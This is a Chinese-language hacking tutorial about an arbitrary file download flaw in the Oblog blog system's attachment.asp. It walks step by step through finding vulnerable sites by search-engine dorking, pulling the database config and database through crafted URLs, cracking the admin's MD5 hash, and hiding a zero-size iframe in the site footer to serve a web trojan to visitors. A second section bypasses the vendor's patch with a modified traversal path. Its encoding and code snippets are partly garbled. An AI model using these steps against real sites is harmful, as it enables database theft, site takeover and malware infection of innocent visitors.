最近各種網(wǎng)站程序總是漏洞不斷,也不知是攻擊者們挖洞太厲害,還是網(wǎng)站程序設(shè)計(jì)者們太粗心。尤其典型的是Oblog博客爆出的一個(gè)附件任意文件下載漏洞,導(dǎo)致攻擊者可以任意下載網(wǎng)站中的數(shù)據(jù)庫(kù)及各種機(jī)密信患文件,在短短的幾天之內(nèi)Oblog官方網(wǎng)站就將此漏洞補(bǔ)上了,可打過(guò)補(bǔ)丁之后,居然漏洞還存在!——不由讓人困惑,漏洞頻頻,究竟是什么地方出了問(wèn)題?
第一爆,路徑未過(guò)濾
Oblog博客是一款國(guó)內(nèi)應(yīng)用非常廣泛的博客系統(tǒng),連國(guó)內(nèi)許多大型的門(mén)戶網(wǎng)站所提供的博客服務(wù),都是在Oblog博客的基礎(chǔ)上進(jìn)行更改的。Oblog博客系統(tǒng)程序出現(xiàn)漏洞的話,后果是非常嚴(yán)重的。
菜鳥(niǎo)要提升,需會(huì)簡(jiǎn)單分析
最先爆出的Oblog博客系統(tǒng)漏洞,主要源于Oblog博客系統(tǒng)的附件下載功能,未進(jìn)行嚴(yán)格的過(guò)濾判斷,與致攻擊者可以提交任意數(shù)據(jù)字符,突破下載限制。我們先來(lái)看看簡(jiǎn)單的漏洞代碼,并作一個(gè)簡(jiǎn)單的分析。
Oblog博客系統(tǒng)的附件下載功能,只要是通過(guò)“attachment.asp”程序文件實(shí)現(xiàn)的,可從網(wǎng)上下載Oblog源程序。用記事本打開(kāi)“attachment.asp”文件。在源代碼頂部,可以看到如下幾句簡(jiǎn)單的代碼:
Path=Trim(Request(“path”))
FilelD=Trim(Request(“FilelD”))
這兩句代碼,是用于獲取下載附件的路徑和文件名的。其中只是用Trim函數(shù)過(guò)濾了文件名和路徑中的空格,后的代碼中未進(jìn)行其它過(guò)濾操作,因此造成了漏洞的存在。
小測(cè)試,抓內(nèi)雞
了解了漏洞的簡(jiǎn)單原理?,F(xiàn)在我們就來(lái)看看如何利用此漏洞,下載網(wǎng)站的數(shù)據(jù)庫(kù)。并進(jìn)行攻擊的。由于此漏洞是存在于“Oblog v4.6 build 20080403”之前的版本中。所以需要先確定博客的版本。
檢測(cè)站點(diǎn)漏洞
在百度或Google中,以關(guān)鍵字“Copy right byOblog.cn”進(jìn)行搜索,可找到大量的結(jié)果。隨便打開(kāi)一個(gè)博客鏈接,在主頁(yè)鏈接后面添加“ver.asp”以查看版本,例如這里的目標(biāo)網(wǎng)站鏈接是“http://www.****.com/blog”,那么版本鏈接就應(yīng)該是“http://www.****.com/blog/ver.asp”。在打開(kāi)頁(yè)面返回信息中,就可以看到當(dāng)前的Oblog版本。在這里返回的是“4.60 FinalBuild20080103(access)”,因此可以確定該站點(diǎn)滿足入侵攻擊要求。
下載Conn.asp
首先,在網(wǎng)站注冊(cè)一個(gè)用戶名,并登錄博客站點(diǎn)。因?yàn)橄螺d附件前,首先會(huì)檢測(cè)用戶的Cookie信息是否登錄。登錄后才可以下載附件。登錄成功后,轉(zhuǎn)到自己的博客首頁(yè),將地址欄中的鏈接改為“attachment,asp?path=./conn.asp”。這里目標(biāo)網(wǎng)站鏈接是“http://www.****.com/blog”,那么就改成“http://www.****.com/blog/attachment.asp?path=./conn.asp”。假如目標(biāo)網(wǎng)站采用的是一級(jí)目錄,鏈接地址形如“http://www.*****.com/”。則鏈接改為“http://www.****.com/attachment.asp?path=./conn.asp”。一定要注意鏈接的目錄關(guān)系,否則可能下載不到文件。
修改鏈接后,回車提交??梢钥吹綇棾隽艘粋€(gè)下載對(duì)話框。點(diǎn)擊“保存”按鈕,將“conn,asp”文件保存到本地。用記事本打開(kāi)。
下載數(shù)據(jù)庫(kù)
其實(shí)“conn.asp”文件就是Oblog的數(shù)據(jù)庫(kù)連接文件。用于設(shè)置數(shù)據(jù)庫(kù)的路徑和打開(kāi)關(guān)閉等配置。打開(kāi)該文件的事。找到如下代碼:
Sub link database()
If Is_Sqldata=O Then
Access數(shù)據(jù)庫(kù)連接參數(shù)
此處必須為以根目錄開(kāi)始,最前面必須為/號(hào)
免費(fèi)用戶初次安裝務(wù)必修改DATA目錄的數(shù)據(jù)庫(kù)名稱
db=“/data/oblog4.60.asp”
其中的“db”定義的變量,就是路徑庫(kù)的數(shù)據(jù)地址了,這里為“/data/oblog4.60.asp”。再次在剛才瀏覽器窗口中。修改鏈接地址為“http://www.****.com/blog/data/oblog4.60.asp”,如果目標(biāo)站點(diǎn)為一級(jí)目錄的話,也作相應(yīng)的修改。復(fù)制該鏈接到迅雷或網(wǎng)際快車之類的下載工具中,新建一個(gè)下載任務(wù),即可下載保存網(wǎng)站的數(shù)據(jù)庫(kù)。
如果網(wǎng)數(shù)據(jù)庫(kù)作了防下載處理,那么就只有用“http://www.****.com/blog/attachment.asp?path=./data/oblog4.60.asp”鏈接,在IE中提交后直接進(jìn)行下載。
破解管理員密碼
將下載后的數(shù)據(jù)庫(kù)后綴名改為mdb,用Access或其它數(shù)據(jù)庫(kù)查看工具打開(kāi)。找到“oblog admin”表,打開(kāi)此數(shù)據(jù)表后,在其中可以看到管理員的用戶名及密碼。管理員密碼是用MD5過(guò)密的,因此需要進(jìn)行破解,可以到一些MD5在線破解站點(diǎn)進(jìn)行破解,也可以使用本地暴力破解工具解碼。具體的方法就不多說(shuō),以前講過(guò)很多。
“版權(quán)”掛馬
用破解的管理員密碼登錄后臺(tái)頁(yè)面“admin/adrain_loqin.asp”,在后臺(tái)管理頁(yè)面中,點(diǎn)擊左側(cè)的“網(wǎng)站信息配置”欄目。右設(shè)置頁(yè)面中,找到“網(wǎng)站信息配置”→“站點(diǎn)版權(quán)信息:”,在設(shè)置框中添加一句代碼“iframe src=“http://www.baidu.com”width=Oheight=O/iframe”。即可實(shí)現(xiàn)在網(wǎng)站掛馬。在實(shí)際操作過(guò)程中。需要將百度的鏈接改為自己的網(wǎng)頁(yè)木馬地址。至于網(wǎng)頁(yè)木馬的選擇,曾介紹過(guò)的黑手刃網(wǎng)頁(yè)木馬,威力是非常強(qiáng)大的。相信很快就可以獲得大量的肉雞!
第二爆,漏洞再現(xiàn)
Oblog博客爆出的任意文件下載漏洞,沒(méi)過(guò)幾天官方就發(fā)布的新的補(bǔ)丁,但是打上補(bǔ)丁后。其實(shí)這個(gè)漏洞還是存在的!看看集成了新補(bǔ)丁的“attachment.asp”文件,看看與原來(lái)的文件有什么不同,發(fā)現(xiàn)在其中多出了如下代碼:
IflnStr(path,Oblog.CacheConfig(56))>0 Then
downloadFile Server.MapPath(Path),1
該句代碼的作用,僅僅是判斷用戶提交的路徑是否包含“UploadFiles”,如果是的話,那么就調(diào)用downloadfile函數(shù)下載文件。此時(shí)。使用前面的方法已經(jīng)無(wú)法進(jìn)行下載了。但是我們只需要修改一下提交的路徑鏈接,同樣還是可以下載的!
例如上面的“http://www.****.com/blog/attachment.asp?path=./conn.asp”鏈接,可以改為如下:
http://www.****.com/blog/attachment.asp?path=UploadFiles/..../conn.asp.
注意,在上面的鏈接地址中,最后的asp后有一個(gè)“.”。是用于突破對(duì)文件格式的限制的。提交鏈接后。就可以再次成功的下載到數(shù)據(jù)庫(kù)連接文件了。
下載數(shù)據(jù)庫(kù)后,再按與上面相同的方法,進(jìn)入后臺(tái)。在后臺(tái)可以掛馬,也可以直接獲取Webshell,具體的方法在這里就不多說(shuō)了。